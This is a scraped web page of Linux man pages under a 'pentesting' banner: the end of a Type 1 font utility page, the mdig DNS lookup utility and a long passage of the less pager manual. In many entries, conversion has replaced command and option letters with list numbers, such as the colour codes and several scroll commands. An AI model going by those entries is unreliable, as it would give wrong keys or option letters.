Set the maximum length of encrypted lines in the output to num. (These are the lines consisting wholly of hexadecimal digits.) The default is 64.

–warnings, -w
Warn when the input font contains lines longer than 255 characters. Long lines don’t strictly conform to Adobe’s Document Structuring Conventions, and may cause problems with older software.

SEE ALSO

() () () () ()

Adobe Type 1 Font Format

AUTHORS

Lee Hetherington ([email protected])
Eddie Kohler ([email protected])

Ported to Microsoft C/C++ Compiler and MS-DOS operating system by Kai-Uwe Herbing ([email protected]).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

302 - Linux cli command mdig

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdig and provides detailed information about the command mdig, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdig.

NAME 🖥️ mdig 🖥️

DNS pipelined lookup utility

SYNOPSIS

mdig {@server} [-f filename] [-h] [-v] [ [-4] | [-6] ] [-m] [-b address] [-p port#] [-c class] [-t type] [-i] [-x addr] [plusopt…]

mdig {-h}

mdig [@server] {global-opt…} { {local-opt…} {query} …}

DESCRIPTION

mdig is a multiple/pipelined query version of dig: instead of waiting for a response after sending each query, it begins by sending all queries. Responses are displayed in the order in which they are received, not in the order the corresponding queries were sent.

mdig options are a subset of the dig options, and are divided into “anywhere options,” which can occur anywhere, “global options,” which must occur before the query name (or they are ignored with a warning), and “local options,” which apply to the next query on the command line.

The @server option is a mandatory global option. It is the name or IP address of the name server to query. (Unlike dig, this value is not retrieved from /etc/resolv.conf.) It can be an IPv4 address in dotted-decimal notation, an IPv6 address in colon-delimited notation, or a hostname. When the supplied server argument is a hostname, mdig resolves that name before querying the name server.

mdig provides a number of query options which affect the way in which lookups are made and the results displayed. Some of these set or reset flag bits in the query header, some determine which sections of the answer get printed, and others determine the timeout and retry strategies.

Each query option is identified by a keyword preceded by a plus sign (+). Some keywords set or reset an option. These may be preceded by the string no to negate the meaning of that keyword. Other keywords assign values to options like the timeout interval. They have the form +keyword=value.

ANYWHERE OPTIONS

-f
This option makes mdig operate in batch mode by reading a list of lookup requests to process from the file filename. The file contains a number of queries, one per line. Each entry in the file should be organized in the same way they would be presented as queries to mdig using the command-line interface.

-h
This option causes mdig to print detailed help information, with the full list of options, and exit.

-v
This option causes mdig to print the version number and exit.

GLOBAL OPTIONS

-4
This option forces mdig to only use IPv4 query transport.

-6
This option forces mdig to only use IPv6 query transport.

-b address
This option sets the source IP address of the query to address. This must be a valid address on one of the host’s network interfaces or “0.0.0.0” or “::”. An optional port may be specified by appending “#<port>”

-m
This option enables memory usage debugging.

-p port#
This option is used when a non-standard port number is to be queried. port# is the port number that mdig sends its queries to, instead of the standard DNS port number 53. This option is used to test a name server that has been configured to listen for queries on a non-standard port number.

The global query options are:

+additional, +noadditional
This option displays [or does not display] the additional section of a reply. The default is to display it.

+all, +noall
This option sets or clears all display flags.

+answer, +noanswer
This option displays [or does not display] the answer section of a reply. The default is to display it.

+authority, +noauthority
This option displays [or does not display] the authority section of a reply. The default is to display it.

+besteffort, +nobesteffort
This option attempts to display [or does not display] the contents of messages which are malformed. The default is to not display malformed answers.

+burst
This option delays queries until the start of the next second.

+cl, +nocl
This option displays [or does not display] the CLASS when printing the record.

+comments, +nocomments
This option toggles the display of comment lines in the output. The default is to print comments.

+continue, +nocontinue
This option toggles continuation on errors (e.g. timeouts).

+crypto, +nocrypto
This option toggles the display of cryptographic fields in DNSSEC records. The contents of these fields are unnecessary to debug most DNSSEC validation failures and removing them makes it easier to see the common failures. The default is to display the fields. When omitted, they are replaced by the string “[omitted]”; in the DNSKEY case, the key ID is displayed as the replacement, e.g., [ key id = value ].

+multiline, +nomultiline
This option toggles printing of records, like the SOA records, in a verbose multi-line format with human-readable comments. The default is to print each record on a single line, to facilitate machine parsing of the mdig output.

+question, +noquestion
This option prints [or does not print] the question section of a query when an answer is returned. The default is to print the question section as a comment.

+rrcomments, +norrcomments
This option toggles the display of per-record comments in the output (for example, human-readable key information about DNSKEY records). The default is not to print record comments unless multiline mode is active.

+short, +noshort
This option provides [or does not provide] a terse answer. The default is to print the answer in a verbose form.

+split=W
This option splits long hex- or base64-formatted fields in resource records into chunks of W characters (where W is rounded up to the nearest multiple of 4). +nosplit or +split=0 causes fields not to be split. The default is 56 characters, or 44 characters when multiline mode is active.

+tcp, +notcp
This option uses [or does not use] TCP when querying name servers. The default behavior is to use UDP.

+ttlid, +nottlid
This option displays [or does not display] the TTL when printing the record.

+ttlunits, +nottlunits
This option displays [or does not display] the TTL in friendly human-readable time units of “s”, “m”, “h”, “d”, and “w”, representing seconds, minutes, hours, days, and weeks. This implies +ttlid.

+vc, +novc
This option uses [or does not use] TCP when querying name servers. This alternate syntax to +tcp is provided for backwards compatibility. The vc stands for “virtual circuit”.

LOCAL OPTIONS

-c class
This option sets the query class to class. It can be any valid query class which is supported in BIND 9. The default query class is “IN”.

-t type
This option sets the query type to type. It can be any valid query type which is supported in BIND 9. The default query type is “A”, unless the -x option is supplied to indicate a reverse lookup with the “PTR” query type.

-x addr
Reverse lookups - mapping addresses to names - are simplified by this option. addr is an IPv4 address in dotted-decimal notation, or a colon-delimited IPv6 address. mdig automatically performs a lookup for a query name like 11.12.13.10.in-addr.arpa and sets the query type and class to PTR and IN respectively. By default, IPv6 addresses are looked up using nibble format under the IP6.ARPA domain.

The local query options are:

+aaflag, +noaaflag
This is a synonym for +aaonly, +noaaonly.

+aaonly, +noaaonly
This sets the aa flag in the query.

+adflag, +noadflag
This sets [or does not set] the AD (authentic data) bit in the query. This requests the server to return whether all of the answer and authority sections have all been validated as secure, according to the security policy of the server. AD=1 indicates that all records have been validated as secure and the answer is not from a OPT-OUT range. AD=0 indicates that some part of the answer was insecure or not validated. This bit is set by default.

+bufsize=B
This sets the UDP message buffer size advertised using EDNS0 to B bytes. The maximum and minimum sizes of this buffer are 65535 and 0 respectively. Values outside this range are rounded up or down appropriately. Values other than zero cause a EDNS query to be sent.

+cdflag, +nocdflag
This sets [or does not set] the CD (checking disabled) bit in the query. This requests the server to not perform DNSSEC validation of responses.

+cookie=####, +nocookie
This sends [or does not send] a COOKIE EDNS option, with an optional value. Replaying a COOKIE from a previous response allows the server to identify a previous client. The default is +nocookie.

+dnssec, +nodnssec
This requests that DNSSEC records be sent by setting the DNSSEC OK (DO) bit in the OPT record in the additional section of the query.

+edns[=#], +noedns
This specifies [or does not specify] the EDNS version to query with. Valid values are 0 to 255. Setting the EDNS version causes an EDNS query to be sent. +noedns clears the remembered EDNS version. EDNS is set to 0 by default.

+ednsflags[=#], +noednsflags
This sets the must-be-zero EDNS flag bits (Z bits) to the specified value. Decimal, hex, and octal encodings are accepted. Setting a named flag (e.g. DO) is silently ignored. By default, no Z bits are set.

+ednsopt[=code[:value]], +noednsopt
This specifies [or does not specify] an EDNS option with code point code and an optional payload of value as a hexadecimal string. +noednsopt clears the EDNS options to be sent.

+expire, +noexpire
This toggles sending of an EDNS Expire option.

+nsid, +nonsid
This toggles inclusion of an EDNS name server ID request when sending a query.

+recurse, +norecurse
This toggles the setting of the RD (recursion desired) bit in the query. This bit is set by default, which means mdig normally sends recursive queries.

+retry=T
This sets the number of times to retry UDP queries to server to T instead of the default, 2. Unlike +tries, this does not include the initial query.

+subnet=addr[/prefix-length], +nosubnet
This sends [or does not send] an EDNS Client Subnet option with the specified IP address or network prefix.

mdig +subnet=0.0.0.0/0, or simply mdig +subnet=0
This sends an EDNS client-subnet option with an empty address and a source prefix-length of zero, which signals a resolver that the client’s address information must not be used when resolving this query.

+timeout=T
This sets the timeout for a query to T seconds. The default timeout is 5 seconds for UDP transport and 10 for TCP. An attempt to set T to less than 1 results in a query timeout of 1 second being applied.

+tries=T
This sets the number of times to try UDP queries to server to T instead of the default, 3. If T is less than or equal to zero, the number of tries is silently rounded up to 1.

+udptimeout=T
This sets the timeout between UDP query retries to T.

+unknownformat, +nounknownformat
This prints [or does not print] all RDATA in unknown RR-type presentation format (see RFC 3597). The default is to print RDATA for known types in the type’s presentation format.

+yaml, +noyaml
This toggles printing of the responses in a detailed YAML format.

+zflag, +nozflag
This sets [or does not set] the last unassigned DNS header flag in a DNS query. This flag is off by default.

SEE ALSO

dig(1), RFC 1035.

AUTHOR

Internet Systems Consortium

COPYRIGHT

2024, Internet Systems Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

303 - Linux cli command pager

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pager and provides detailed information about the command pager, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pager.

NAME 🖥️ pager 🖥️

opposite of more

SYNOPSIS

less -?
less –help
less -V
less –version
less [-[+]aABcCdeEfFgGiIJKLmMnNqQrRsSuUVwWX~]
[-b space] [-h lines] [-j line] [-k keyfile]
[-{oO} logfile] [-p pattern] [-P prompt] [-t tag]
[-T tagsfile] [-x tab,…] [-y lines] [-[z] lines]
[-# shift] [+[+]cmd] [–] [filename]…
(See the OPTIONS section for alternate option syntax with long option names.)

DESCRIPTION

Less is a program similar to more(1), but which allows backward movement in the file as well as forward movement. Also, less does not have to read the entire input file before starting, so with large input files it starts up faster than text editors like vi(1). Less uses termcap (or terminfo on some systems), so it can run on a variety of terminals. There is even limited support for hardcopy terminals. (On a hardcopy terminal, lines which should be printed at the top of the screen are prefixed with a caret.)

Commands are based on both more and vi. Commands may be preceded by a decimal number, called N in the descriptions below. The number is used by some commands, as indicated.

COMMANDS

In the following descriptions, ^X means control-X. ESC stands for the ESCAPE key; for example ESC-v means the two character sequence “ESCAPE”, then “v”.

h or H
Help: display a summary of these commands. If you forget all the other commands, remember this one.

SPACE or ^V or f or ^F
Scroll forward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed. Warning: some systems use ^V as a special literalization character.

  1. Like SPACE, but if N is specified, it becomes the new window size.

ESC-SPACE
Like SPACE, but scrolls a full screenful, even if it reaches end-of-file in the process.

ENTER or RETURN or ^N or e or ^E or j or ^J
Scroll forward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size.

d or ^D
Scroll forward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands.

b or ^B or ESC-v
Scroll backward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed.

  1. Like ESC-v, but if N is specified, it becomes the new window size.

y or ^Y or ^P or k or ^K
Scroll backward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size. Warning: some systems use ^Y as a special job control character.

u or ^U
Scroll backward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands.

  1. Like j, but continues to scroll beyond the end of the file.

K or Y
Like k, but continues to scroll beyond the beginning of the file.

ESC-) or RIGHTARROW
Scroll horizontally right N characters, default half the screen width (see the -# option). If a number N is specified, it becomes the default for future RIGHTARROW and LEFTARROW commands. While the text is scrolled, it acts as though the -S option (chop lines) were in effect.

ESC-( or LEFTARROW
Scroll horizontally left N characters, default half the screen width (see the -# option). If a number N is specified, it becomes the default for future RIGHTARROW and LEFTARROW commands.

ESC-} or ^RIGHTARROW
Scroll horizontally right to show the end of the longest displayed line.

ESC-{ or ^LEFTARROW
Scroll horizontally left back to the first column.

r or ^R or ^L
Repaint the screen.

  1. Repaint the screen, discarding any buffered input. That is, reload the current file. Useful if the file is changing while it is being viewed.

  2. Scroll forward, and keep trying to read when the end of file is reached. Normally this command would be used when already at the end of the file. It is a way to monitor the tail of a file which is growing while it is being viewed. (The behavior is similar to the “tail -f” command.) To stop waiting for more data, enter the interrupt character (usually ^C). On systems which support poll(2) you can also use ^X or the character specified by the –intr option. If the input is a pipe and the –exit-follow-on-close option is in effect, less will automatically stop waiting for data when the input side of the pipe is closed.

ESC-F
Like F, but as soon as a line is found which matches the last search pattern, the terminal bell is rung and forward scrolling stops.

g or < or ESC-<
Go to line N in the file, default 1 (beginning of file). (Warning: this may be slow if N is large.)

G or > or ESC->
Go to line N in the file, default the end of the file. (Warning: this may be slow if N is large, or if N is not specified and standard input, rather than a file, is being read.)

ESC-G
Same as G, except if no number N is specified and the input is standard input, goes to the last line which is currently buffered.

p or %
Go to a position N percent into the file. N should be between 0 and 100, and may contain a decimal point.

  1. Go to the line containing byte offset N in the file.

{
If a left curly bracket appears in the top line displayed on the screen, the { command will go to the matching right curly bracket. The matching right curly bracket is positioned on the bottom line of the screen. If there is more than one left curly bracket on the top line, a number N may be used to specify the N-th bracket on the line.

}
If a right curly bracket appears in the bottom line displayed on the screen, the } command will go to the matching left curly bracket. The matching left curly bracket is positioned on the top line of the screen. If there is more than one right curly bracket on the bottom line, a number N may be used to specify the N-th bracket on the line.

(
Like {, but applies to parentheses rather than curly brackets.

)
Like }, but applies to parentheses rather than curly brackets.

[
Like {, but applies to square brackets rather than curly brackets.

]
Like }, but applies to square brackets rather than curly brackets.

ESC-^F
Followed by two characters, acts like {, but uses the two characters as open and close brackets, respectively. For example, “ESC ^F < >” could be used to go forward to the > which matches the < in the top displayed line.

ESC-^B
Followed by two characters, acts like }, but uses the two characters as open and close brackets, respectively. For example, “ESC ^B < >” could be used to go backward to the < which matches the > in the bottom displayed line.

  1. Followed by any lowercase or uppercase letter, marks the first displayed line with that letter. If the status column is enabled via the -J option, the status column shows the marked line.
  1. Acts like m, except the last displayed line is marked rather than the first displayed line.


(Single quote.) Followed by any lowercase or uppercase letter, returns to the position which was previously marked with that letter. Followed by another single quote, returns to the position at which the last “large” movement command was executed. Followed by a ^ or $, jumps to the beginning or end of the file respectively. Marks are preserved when a new file is examined, so the ’ command can be used to switch between input files.

^X^X
Same as single quote.

ESC-m
Followed by any lowercase or uppercase letter, clears the mark identified by that letter.

/pattern
Search forward in the file for the N-th line containing the pattern. N defaults to 1. The pattern is a regular expression, as recognized by the regular expression library supplied by your system. By default, searching is case-sensitive (uppercase and lowercase are considered different); the -i option can be used to change this. The search starts at the first line displayed (but see the -a and -j options, which change this).

Certain characters are special if entered at the beginning of the pattern; they modify the type of search rather than become part of the pattern:

^N or !
Search for lines which do NOT match the pattern.

^E or *
Search multiple files. That is, if the search reaches the END of the current file without finding a match, the search continues in the next file in the command line list.

^F or @
Begin the search at the first line of the FIRST file in the command line list, regardless of what is currently displayed on the screen or the settings of the -a or -j options.

^K
Highlight any text which matches the pattern on the current screen, but don’t move to the first match (KEEP current position).

^R
Don’t interpret regular expression metacharacters; that is, do a simple textual comparison.

^S
Followed by a digit N between 1 and 5. Only text which has a non-empty match for the N-th parenthesized SUB-PATTERN will be considered to match the pattern. (Supported only if less is built with one of the regular expression libraries posix, pcre, or pcre2.) Multiple ^S modifiers can be specified, to match more than one sub-pattern.

^W
WRAP around the current file. That is, if the search reaches the end of the current file without finding a match, the search continues from the first line of the current file up to the line where it started. If the ^W modifier is set, the ^E modifier is ignored.

?pattern
Search backward in the file for the N-th line containing the pattern. The search starts at the last line displayed (but see the -a and -j options, which change this).

Certain characters are special as in the / command:

^N or !
Search for lines which do NOT match the pattern.

^E or *
Search multiple files. That is, if the search reaches the beginning of the current file without finding a match, the search continues in the previous file in the command line list.

^F or @
Begin the search at the last line of the last file in the command line list, regardless of what is currently displayed on the screen or the settings of the -a or -j options.

^K
As in forward searches.

^R
As in forward searches.

^S
As in forward searches.

^W
WRAP around the current file. That is, if the search reaches the beginning of the current file without finding a match, the search continues from the last line of the current file up to the line where it started.

ESC-/pattern
Same as “/*”.

ESC-?pattern
Same as “?*”.

  1. Repeat previous search, for N-th line containing the last pattern. If the previous search was modified by ^N, the search is made for the N-th line NOT containing the pattern. If the previous search was modified by ^E, the search continues in the next (or previous) file if not satisfied in the current file. If the previous search was modified by ^R, the search is done without using regular expressions. There is no effect if the previous search was modified by ^F or ^K.
  1. Repeat previous search, but in the reverse direction.

ESC-n
Repeat previous search, but crossing file boundaries. The effect is as if the previous search were modified by *.

ESC-N
Repeat previous search, but in the reverse direction and crossing file boundaries.

ESC-u
Undo search highlighting. Turn off highlighting of strings matching the current search pattern. If highlighting is already off because of a previous ESC-u command, turn highlighting back on. Any search command will also turn highlighting back on. (Highlighting can also be disabled by toggling the -G option; in that case search commands do not turn highlighting back on.)

ESC-U
Like ESC-u but also clears the saved search pattern. If the status column is enabled via the -J option, this clears all search matches marked in the status column.

&pattern
Display only lines which match the pattern; lines which do not match the pattern are not displayed. If pattern is empty (if you type & immediately followed by ENTER), any filtering is turned off, and all lines are displayed. While filtering is in effect, an ampersand is displayed at the beginning of the prompt, as a reminder that some lines in the file may be hidden. Multiple & commands may be entered, in which case only lines which match all of the patterns will be displayed.

Certain characters are special as in the / command:

^N or !
Display only lines which do NOT match the pattern.

^R
Don’t interpret regular expression metacharacters; that is, do a simple textual comparison.

:e [filename]
Examine a new file. If the filename is missing, the “current” file (see the :n and :p commands below) from the list of files in the command line is re-examined. A percent sign (%) in the filename is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. However, two consecutive percent signs are simply replaced with a single percent sign. This allows you to enter a filename that contains a percent sign in the name. Similarly, two consecutive pound signs are replaced with a single pound sign. The filename is inserted into the command line list of files so that it can be seen by subsequent :n and :p commands. If the filename consists of several files, they are all inserted into the list of files and the first one is examined. If the filename contains one or more spaces, the entire filename should be enclosed in double quotes (also see the -" option).

^X^V or E
Same as :e. Warning: some systems use ^V as a special literalization character. On such systems, you may not be able to use ^V.

:n
Examine the next file (from the list of files given in the command line). If a number N is specified, the N-th next file is examined.

:p
Examine the previous file in the command line list. If a number N is specified, the N-th previous file is examined.

:x
Examine the first file in the command line list. If a number N is specified, the N-th file in the list is examined.

:d
Remove the current file from the list of files.

  1. Go to the next tag, if there were more than one matches for the current tag. See the -t option for more details about tags.
  1. Go to the previous tag, if there were more than one matches for the current tag.

= or ^G or :f
Prints some information about the file being viewed, including its name and the line number and byte offset of the bottom line being displayed. If possible, it also prints the length of the file, the number of lines in the file and the percent of the file above the last displayed line.

  • Followed by one of the command line option letters (see OPTIONS below), this will change the setting of that option and print a message describing the new setting. If a ^P (CONTROL-P) is entered immediately after the dash, the setting of the option is changed but no message is printed. If the option letter has a numeric value (such as -b or -h), or a string value (such as -P or -t), a new value may be entered after the option letter. If no new value is entered, a message describing the current setting is printed and nothing is changed.


Like the - command, but takes a long option name (see OPTIONS below) rather than a single option letter. You must press ENTER or RETURN after typing the option name. A ^P immediately after the second dash suppresses printing of a message describing the new setting, as in the - command.

-+
Followed by one of the command line option letters this will reset the option to its default setting and print a message describing the new setting. (The “-+X” command does the same thing as “-+X” on the command line.) This does not work for string-valued options.

–+
Like the -+ command, but takes a long option name rather than a single option letter.

-!
Followed by one of the command line option letters, this will reset the option to the “opposite” of its default setting and print a message describing the new setting. This does not work for numeric or string-valued options.

–!
Like the -! command, but takes a long option name rather than a single option letter.

_
(Underscore.) Followed by one of the command line option letters, this will print a message describing the current setting of that option. The setting of the option is not changed.

__
(Double underscore.) Like the _ (underscore) command, but takes a long option name rather than a single option letter. You must press ENTER or RETURN after typing the option name.

+cmd
Causes the specified cmd to be executed each time a new file is examined. For example, +G causes less to initially display each file starting at the end rather than the beginning.

  1. Prints the version number of less being run.

q or Q or :q or :Q or ZZ
Exits less.

The following six commands may or may not be valid, depending on your particular installation.

  1. Invokes an editor to edit the current file being viewed. The editor is taken from the environment variable VISUAL if defined, or EDITOR if VISUAL is not defined, or defaults to “vi” if neither VISUAL nor EDITOR is defined. See also the discussion of LESSEDIT under the section on PROMPTS below.

! shell-command
Invokes a shell to run the shell-command given. A percent sign (%) in the command is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. “!!” repeats the last shell command. “!” with no shell command simply invokes a shell. On Unix systems, the shell is taken from the environment variable SHELL, or defaults to “sh”. On MS-DOS and OS/2 systems, the shell is the normal command processor.

# shell-command
Similar to the “!” command, except that the command is expanded in the same way as prompt strings. For example, the name of the current file would be given as “%f”.

| <m> shell-command
<m> represents any mark letter. Pipes a section of the input file to the given shell command. The section of the file to be piped is between the position marked by the letter and the current screen. The entire current screen is included, regardless of whether the marked position is before or after the current screen. <m> may also be ^ or $ to indicate beginning or end of file respectively. If <m> is . or newline, the current screen is piped.

s filename
Save the input to a file. This works only if the input is a pipe, not an ordinary file.

^X
When the “Waiting for data” message is displayed, such as while in the F command, pressing ^X will stop less from waiting and return to a prompt. This may cause less to think that the file ends at the current position, so it may be necessary to use the R or F command to see more data. The –intr option can be used to specify a different character to use instead of ^X. This command works only on systems that support the poll(2) function. On systems without poll(2), the interrupt character (usually ^C) can be used instead.

OPTIONS

Command line options are described below. Most options may be changed while less is running, via the “-” command.

Some options may be given in one of two forms: either a dash followed by a single letter, or two dashes followed by a long option name. A long option name may be abbreviated as long as the abbreviation is unambiguous. For example, –quit-at-eof may be abbreviated –quit, but not –qui, since both –quit-at-eof and –quiet begin with –qui. Some long option names are in uppercase, such as –QUIT-AT-EOF, as distinct from –quit-at-eof. Such option names need only have their first letter capitalized; the remainder of the name may be in either case. For example, –Quit-at-eof is equivalent to –QUIT-AT-EOF.

Options are also taken from the environment variable “LESS”. For example, to avoid typing “less -options …” each time less is invoked, you might tell csh:

setenv LESS “-options”

or if you use sh:

LESS="-options"; export LESS

On MS-DOS, you don’t need the quotes, but you should replace any percent signs in the options string by double percent signs.

The environment variable is parsed before the command line, so command line options override the LESS environment variable. If an option appears in the LESS variable, it can be reset to its default value on the command line by beginning the command line option with “-+”.

Some options like -k or -D require a string to follow the option letter. The string for that option is considered to end when a dollar sign ($) is found. For example, you can set two -D options like this:

LESS=“Dn9.1$Ds4.1”

If the –use-backslash option appears earlier in the options, then a dollar sign or backslash may be included literally in an option string by preceding it with a backslash. If the –use-backslash option is not in effect, then backslashes are not treated specially, and there is no way to include a dollar sign in the option string.

-? or –help
This option displays a summary of the commands accepted by less (the same as the h command). (Depending on how your shell interprets the question mark, it may be necessary to quote the question mark, thus: “-".)

-a or –search-skip-screen
By default, forward searches start at the top of the displayed screen and backwards searches start at the bottom of the displayed screen (except for repeated searches invoked by the n or N commands, which start after or before the “target” line respectively; see the -j option for more about the target line). The -a option causes forward searches to instead start at the bottom of the screen and backward searches to start at the top of the screen, thus skipping all lines displayed on the screen.

-A or –SEARCH-SKIP-SCREEN
Causes all forward searches (not just non-repeated searches) to start just after the target line, and all backward searches to start just before the target line. Thus, forward searches will skip part of the displayed screen (from the first line up to and including the target line). Similarly backwards searches will skip the displayed screen from the last line up to and including the target line. This was the default behavior in less versions prior to 441.

-bn or –buffers=n
Specifies the amount of buffer space less will use for each file, in units of kilobytes (1024 bytes). By default 64 KB of buffer space is used for each file (unless the file is a pipe; see the -B option). The -b option specifies instead that n kilobytes of buffer space should be used for each file. If n is -1, buffer space is unlimited; that is, the entire file can be read into memory.

-B or –auto-buffers
By default, when data is read from a pipe, buffers are allocated automatically as needed. If a large amount of data is read from the pipe, this can cause a large amount of memory to be allocated. The -B option disables this automatic allocation of buffers for pipes, so that only 64 KB (or the amount of space specified by the -b option) is used for the pipe. Warning: use of -B can result in erroneous display, since only the most recently viewed part of the piped data is kept in memory; any earlier data is lost. Lost characters are displayed as question marks.

-c or –clear-screen
Causes full screen repaints to be painted from the top line down. By default, full screen repaints are done by scrolling from the bottom of the screen.

-C or –CLEAR-SCREEN
Same as -c, for compatibility with older versions of less.

-d or –dumb
The -d option suppresses the error message normally displayed if the terminal is dumb; that is, lacks some important capability, such as the ability to clear the screen or scroll backward. The -d option does not otherwise change the behavior of less on a dumb terminal.

-Dxcolor or –color=xcolor
Changes the color of different parts of the displayed text. x is a single character which selects the type of text whose color is being set:

  1. Binary characters.

  2. Control characters.

  3. Errors and informational messages.

  4. Header lines and columns, set via the –header option.

  5. Mark letters in the status column.

  6. Line numbers enabled via the -N option.

  7. Prompts.

  8. The rscroll character.

  9. Search results.

1-5
The text in a search result which matches the first through fifth parenthesized sub-pattern. Sub-pattern coloring works only if less is built with one of the regular expression libraries posix, pcre, or pcre2.

  1. The highlight enabled via the -w option.

  2. Bold text.

  3. Blinking text.

  4. Standout text.

  5. Underlined text.

The uppercase letters and digits can be used only when the –use-color option is enabled. When text color is specified by both an uppercase letter and a lowercase letter, the uppercase letter takes precedence. For example, error messages are normally displayed as standout text. So if both “s” and “E” are given a color, the “E” color applies to error messages, and the “s” color applies to other standout text. The “d” and “u” letters refer to bold and underline text formed by overstriking with backspaces (see the -U option), not to text using ANSI escape sequences with the -R option.

A lowercase letter may be followed by a + to indicate that the normal format change and the specified color should both be used. For example, -Dug displays underlined text as green without underlining; the green color has replaced the usual underline formatting. But -Du+g displays underlined text as both green and in underlined format.

color is either a 4-bit color string or an 8-bit color string:

A 4-bit color string is zero, one or two characters, where the first character specifies the foreground color and the second specifies the background color as follows:

  1. Blue

  2. Cyan

  3. Green

  4. Black

  5. Magenta

  6. Red

  7. White

  8. Yellow

The corresponding uppercase letter denotes a brighter shade of the color. For example, -DNGk displays line numbers as bright green text on a black background, and -DEbR displays error messages as blue text on a bright red background. If either character is a “-” or is omitted, the corresponding color is set to that of normal text.

An 8-bit color string is one or two decimal integers separated by a dot, where the first integer specifies the foreground color and the second specifies the background color. Each integer is a value between 0 and 255 inclusive which selects a “CSI 38;5” color value (see

https://en.wikipedia.org/wiki/ANSI_escape_code#SGR)

If either integer is a “-” or is omitted, the corresponding color is set to that of normal text. On MS-DOS versions of less, 8-bit color is not supported; instead, decimal values are interpreted as 4-bit CHAR_INFO.Attributes values (see

https://docs.microsoft.com/en-us/windows/console/char-info-str).

On MS-DOS only, the -Da option may be used to specify strict parsing of ANSI color (SGR) sequences when the -R option is used. Without this option, sequences that change text attributes (bold, underline, etc.) may clear the text color.

-e or –quit-at-eof
Causes less to automatically exit the second time it reaches end-of-file. By default, the only way to exit less is via the “q” command.

-E or –QUIT-AT-EOF
Causes less to automatically exit the first time it reaches end-of-file.

-f or –force
Forces non-regular files to be opened. (A non-regular file is a directory or a device special file.) Also suppresses the warning message when a binary file is opened. By default, less will refuse to open non-regular files. Note that some operating systems will not allow directories to be read, even if -f is set.

-F or –quit-if-one-screen
Causes less to automatically exit if the entire file can be displayed on the first screen.

-g or –hilite-search
Normally, less will highlight ALL strings which match the last search command. The -g option changes this behavior to highlight only the particular string which was found by the last search command. This can cause less to run somewhat faster than the default.

-G or –HILITE-SEARCH
The -G option suppresses all highlighting of strings found by search commands.

-hn or –max-back-scroll=n
Specifies a maximum number of lines to scroll backward. If it is necessary to scroll backward more than n lines, the screen is repainted in a forward direction instead. (If the terminal does not have the ability to scroll backward, -h0 is implied.)

-i or –ignore-case
Causes searches to ignore case; that is, uppercase and lowercase are considered identical. This option is ignored if any uppercase letters appear in the search pattern; in other words, if a pattern contains uppercase letters, then that search does not ignore case.

-I or –IGNORE-CASE
Like -i, but searches ignore case even if the pattern contains uppercase letters.

-jn or –jump-target=n
Specifies a line on the screen where the “target” line is to be positioned. The target line is the line specified by any command to search for a pattern, jump to a line number, jump to a file percentage or jump to a tag. The screen line may be specified by a number: the top line on the screen is 1, the next is 2, and so on. The number may be negative to specify a line relative to the bottom of the screen: the bottom line on the screen is -1, the second to the bottom is -2, and so on. Alternately, the screen line may be specified as a fraction of the height of the screen, starting with a decimal point: .5 is in the middle of the screen, .3 is three tenths down from the first line, and so on. If the line is specified as a fraction, the actual line number is recalculated if the terminal window is resized. If any form of the -j option is used, repeated forward searches (invoked with “n” or “N”) begin at the line immediately after the target line, and repeated backward searches begin at the target line, unless changed by -a or -A. For example, if “-j4” is used, the target line is the fourth line on the screen, so forward searches begin at the fifth line on the screen. However nonrepeated searches (invoked with “/” or “?”) always begin at the start or end of the current screen respectively.

-J or –status-column
Displays a status column at the left edge of the screen. The character displayed in the status column may be one of:

>
The line is chopped with the -S option, and the text that is chopped off beyond the right edge of the screen contains a match for the current search.

<
